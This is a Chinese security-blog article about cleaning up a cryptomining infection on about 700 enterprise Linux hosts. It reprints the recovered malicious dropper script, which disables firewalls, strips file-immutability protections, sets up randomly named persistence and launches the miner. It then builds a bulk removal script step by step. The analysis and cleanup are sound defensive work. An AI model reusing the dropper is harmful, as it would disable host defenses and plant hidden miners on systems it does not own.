freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

企业挖矿病毒处置实战——专杀脚本从0到1
2024-01-25 00:28:13

前期排查

根据态势感知日志,发现主机外联挖矿地址89.147.109.125,但是查看外联进程发现进程对应文件已被删除。

1706112432_65b135b0e1f1987605b4a.png!small?1706112433559

这里使用一个小技巧 可以将内存中的进程信息保存出来。

1706112461_65b135cd0032c10036b8f.png!small?1706112461640

在进程中过滤kworker2关键字,发现存在异常脚本文件执行,并且在/bin目录下存在异常文件nuBrWiVa

1706112493_65b135eda8957d0465dc7.png!small?1706112494495

对脚本文件进行分析

#!/bin/bash

# 删除当前用户的 crontab 任务
crontab -r 2>/dev/null

# 禁用 Uncomplicated Firewall
ufw disable 2>/dev/null

# 设置 iptables 防火墙规则,允许所有入站、出站和转发的流量,清空 iptables 规则
iptables -P INPUT ACCEPT 2>/dev/null
iptables -P OUTPUT ACCEPT 2>/dev/null
iptables -P FORWARD ACCEPT 2>/dev/null
iptables -F 2>/dev/null

# 移除系统文件的不可修改属性
chattr -i /usr/sbin/ >/dev/null 2>&1
chattr -i /usr/bin/ >/dev/null 2>&1
chattr -i /bin/ >/dev/null 2>&1
chattr -i /usr/lib >/dev/null 2>&1
chattr -i /usr/lib64 >/dev/null 2>&1
chattr -i /usr/libexec >/dev/null 2>&1
chattr -i /etc/ >/dev/null 2>&1
chattr -i /tmp/ >/dev/null 2>&1
chattr -i /sbin/
chattr -i /etc/resolv.conf
chattr -i /etc/cron.d/systeml >/dev/null 2>&1
chattr -i /etc/cron.weekly/systeml >/dev/null 2>&1
chattr -i /etc/cron.hourly/systeml >/dev/null 2>&1
chattr -i /etc/cron.daily/systeml >/dev/null 2>&1
chattr -i /etc/cron.monthly/systeml >/dev/null 2>&1

# 移除 ld.so.preload 文件的不可修改属性并清空文件内容
chattr -ia /etc/ld.so.preload 2>/dev/null
cat /dev/null > /etc/ld.so.preload 2>/dev/null

# 通过检查是否存在包含以前文件名的文件,生成或读取两个随机的文件名,并将它们保存在 
if [ -e "/usr/lib/systemd/previous_filenames1" ] && [ -e "/usr/lib/systemd/previous_filenames2" ]; then
read -r file1 < "/usr/lib/systemd/previous_filenames1"
read -r file2 < "/usr/lib/systemd/previous_filenames2"
else
file1="/bin/$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
file2="/bin/$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
echo "$file1" > "/usr/lib/systemd/previous_filenames1"
echo "$file2" > "/usr/lib/systemd/previous_filenames2"
fi

mv x86_64 "$file1" 2>/dev/null
mv i386 "$file2" 2>/dev/null

# 设置变量
SERVICE="kworker2:0H"
EXEC="kworker2:0H"
DIR="/tmp"

# 移除某些文件的不可修改、不可删除、不可设置属性
chattr -iaus /etc/cron.*/$EXEC /etc/init.d/$EXEC 2>/dev/null

# Check if the process is running
if P=$(pgrep -F /bin/.locked) >> /dev/null; then
echo "Running" && exit
else
echo "Not running"
echo -n > /bin/.locked

# Copy the files to the temporary directory
cp "$file1" "$DIR/$EXEC" 2>/dev/null
cp "$file2" "$DIR/neo" 2>/dev/null
chmod +x "$DIR/$EXEC" 2>/dev/null
chmod +x "$DIR/neo" 2>/dev/null
"$DIR/$EXEC" --tls >/dev/null 2>&1
rm -rf "$DIR/$EXEC"
fi

sleep 2

# Check if the process is running and update the lock file
if P1=$(pgrep "$EXEC") 2>/dev/null; then
echo $P1 > /bin/.locked 2>/dev/null
fi

# Execute the command using the value stored in the lock file
"$DIR/neo" "$(cat /bin/.locked)" 2>/dev/null
/bin/nuBrWiVa

上面的脚本可以知道,会生成固定的文件,这个三个文件的文件名是固定的,其中/bin/.locked文件内容为进程的pid信息

  • /usr/lib/systemd/previous_filenames1
  • /usr/lib/systemd/previous_filenames2
  • /bin/.locked

1706112774_65b1370643be3daf5aef6.png!small?1706112775095

因为进程中执行的恶意脚本文件对计划任务文件有进行操作,因此查看计划任务文件发现,存在恶意计划任务,定期执行恶意文件/bin/nuBrWiVa

1706112797_65b1371d619c13d3d8a8e.png!small?1706112797998

在跟进排查/bin/nuBrWiVa对应的服务信息

1706112825_65b13739384de9643116a.png!small?1706112826069

后面对劫持,启动项账号进行了排查没有发现其他异常,则开始进行处置。

专杀脚本编写

处置单个主机十分简单:停止服务、删除计划任务、结束进程、删除恶意文件即可,但是面对内网近千台主机,绝对不可能一台一台手动处置,因此需要些脚本统一下发处置

后面便是本次应急处置的重点,如何写专杀脚本进行批量处置

总结病毒特点

1、外联矿池地址进程:kworker2:0H

2、执行恶意脚本进程:/bin/随机字符

3、恶意服务:随机字符.service

4、恶意计划任务:/etc/cron.d/随机字符、/etc/cron.daily/随机字符、/etc/cron.weekly/随机字符、/etc/cron.hourly/随机字符、/etc/cron.monthly/随机字符

5、固定文件:/bin/.locked、/usr/lib/systemd/previous_filenames1、/usr/lib/systenetmd/previous_filenames2

6、随机生成的文件:/bin/随机字符(x86_64)、/bin/随机字符(I386)

在这些特点中,最大的问题是,大量的恶意文件都是随机字符文件名,后面便开始梳理随机字符文件的关联性。

梳理特点关联性

1、根据/bin/.locked文件中的内容,可以确定外联进程的PID

2、根据计划任务的文件内容确定执行恶意脚本的进程;

3、根据恶意脚本进程,确定恶意的服务名称

分块编写代码

首先确认外联进程PID,在脚本中加了解挂载的操作,避免进程挂载无法根据PID进行定位。

if [ -e /bin/.locked ]; then
p=$(cat /bin/.locked)
read -ra PID <<< "$p"

for pid_value in "${PID[@]}"; do
echo "[-] Processing PID: $pid_value"

# 执行umount操作
umount -l /proc/$pid_value

# 查找并杀死与PID相关的进程(如果需要的话)
a=$(ps -ef | grep $pid_value | grep "kworker2:0H")
if [ -n "$a" ]; then
kill -9 $pid_value
echo "[+] Evil process with PID $pid_value killed"
fi
done
else
echo "[+] Nothging"
fi

查找恶意计划任务

-r:匹配文件内容

-l:对应文件名称

root /bin/.*1 1:恶意计划任务特征点,由于中间文件名称为随机字符,因此使用.*进行正则匹配

evil_cron=($(grep -r -l  "root /bin/.*1 1" /etc/cron.*))
for value in "${evil_cron[@]}"; do
echo "[+] evil_cron: $value"
rm -rf $value
echo "[+] evil_cron:$value 已删除"
done

查找恶意服务,定位恶意服务这里分了3步(重要是的第二步,恶心了我很久)

第一步:通过计划任务获得执行恶意脚本的进行名process_name

第二部:过滤process_name定位进程pid,但是这里有坑,因为grep过滤的时候会输出自己的grep进程,因此这里需要加入grep -v 'grep /bin'把自己的grep进程过滤掉(这里使用awk命令帮助定位到这个关键字的),才能得到恶意进程的pid

第三部:根据进程恶意进程pid,找到服务名称,并stop和disable

process_name=($(grep -rn "root /bin/.*1 1" /etc/cron.* | awk '{print $(NF-2)}'))
echo "[+] process_name: $process_name"
mv "$process_name" /tmp/evil_1112

server_pid=($(ps -ef | grep $process_name | grep -v 'grep /bin' | awk '{print $2}'))
for value in "${server_pid[@]}"; do
echo "[+] server_pid: $value"
done

server_name=($(systemctl status $value | grep "Loaded:" | awk '{print $3}' | awk -F'/' '{print $NF}' | sed 's/;//'))
for value in "${server_name[@]}"; do
echo "[+] server_name: $server_name"
break
done
systemctl stop  $server_name
systemctl disable $server_name
server_path=/usr/lib/systemd/system/
rm -rf  $server_path$server_name
echo "server  deleted"


删除固定文件,这里比较简单,就是找指定路径文件,然后获取文件内容,根据文件内容,找到对应文件,在进行删除就行


file_path1="/usr/lib/systemd/previous_filenames1"
if [ -e "$file_path1" ]; then
file_content=$(cat "$file_path1")
echo "File $file_path1 exists, and its content is: $file_content"
mv "$file_content" /tmp/evil_1112
else
echo "File $file_path1 does not exist."
fi

file_path2="/usr/lib/systemd/previous_filenames2"
if [ -e "$file_path2" ]; then
file_content=$(cat "$file_path2")
echo "File $file_path2 exists, and its content is: $file_content"
mv "$file_content" /tmp/evil_1112
else
echo "File $file_path1 does not exist."
fi

整合代码

这里需要注意,因为定位服务是根据计划任务中的文件内容进行定位的,因此查找服务的执行顺序,必须在查找计划任务前面,否则服务无法定位

#! /bin/bash
hostname
if [ ! -d "/tmp/evil_1112" ]; then
mkdir /tmp/evil_1112
fi
#查找特征文件并备份
file_path1="/usr/lib/systemd/previous_filenames1"
if [ -e "$file_path1" ]; then
file_content=$(cat "$file_path1")
echo "[+] File $file_path1 exists, and its content is: $file_content"
mv "$file_content" /tmp/evil_1112 2>/dev/null
else
echo "[+] File $file_path1 does not exist."
fi

file_path2="/usr/lib/systemd/previous_filenames2"
if [ -e "$file_path2" ]; then
file_content=$(cat "$file_path2")
echo "File $file_path2 exists, and its content is: $file_content"
mv "$file_content" /tmp/evil_1112 2>/dev/null
else
echo "File $file_path1 does not exist."
fi

#查找服务并停止
process_name=($(grep -rn "root /bin/.*1 1" /etc/cron.* | awk '{print $(NF-2)}' | uniq))
if [ -z "$process_name" ]; then
echo "[+] process name is not exist"
else
echo "[+] process_name: $process_name"
mv "$process_name" /tmp/evil_1112
fi

evil_process=$(ps -ef | grep -E " /bin/\w+{8}" | awk '{print $8}' | uniq)
if [ -z "$evil_process" ]; then
echo "[+] evil process is not running"
else
if [[ "$evil_process" == "$process_name" ]]; then 
echo "[+] evil process $evil_process is running"
server_pid=($(ps -ef | grep $process_name | grep -v 'color' | awk '{print $2}'))
for value in "${server_pid[@]}"; do
echo "[+] evil server_pid: $value"
done

server_name=($(systemctl status $value | grep "Loaded: loaded" | awk '{print $3}' | awk -F'/' '{print $NF}' | sed 's/;//'))
for value in "${server_name[@]}"; do
echo "[+]  evil server_name: $server_name"
break
done
systemctl stop  $server_name
systemctl disable $server_name
server_path=/usr/lib/systemd/system/
rm -rf  $server_path$server_name
echo "[+] evil server deleted"
else 
echo "[+] evil process is not running"
fi
fi


#查找计划任务并删除
evil_cron=($(grep -r -l  "root /bin/.*1 1" /etc/cron.*))
for value in "${evil_cron[@]}"; do
echo "[+] evil cron: $value"
rm -rf $value
echo "[+] evil cron:$value deleted"
done


#查找外联进程并kill
if [ -e /bin/.locked ]; then
p=$(cat /bin/.locked)
read -ra PID <<< "$p"

for pid_value in "${PID[@]}"; do
echo "[-] Processing PID: $pid_value"

# 执行umount操作
umount -l /proc/$pid_value 2>/dev/null

# 查找并杀死与PID相关的进程(如果需要的话)
a=$(ps -ef | grep $pid_value | grep "kworker2")
if [ -n "$a" ]; then
kill -9 $pid_value
echo "[+] Evil process with PID $pid_value killed"
fi
done
else
echo "[+] Nothging"
fi

最后通过堡垒机批量下发,成功处置700多台机器

# 应急响应 # shell脚本 # 挖矿病毒
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录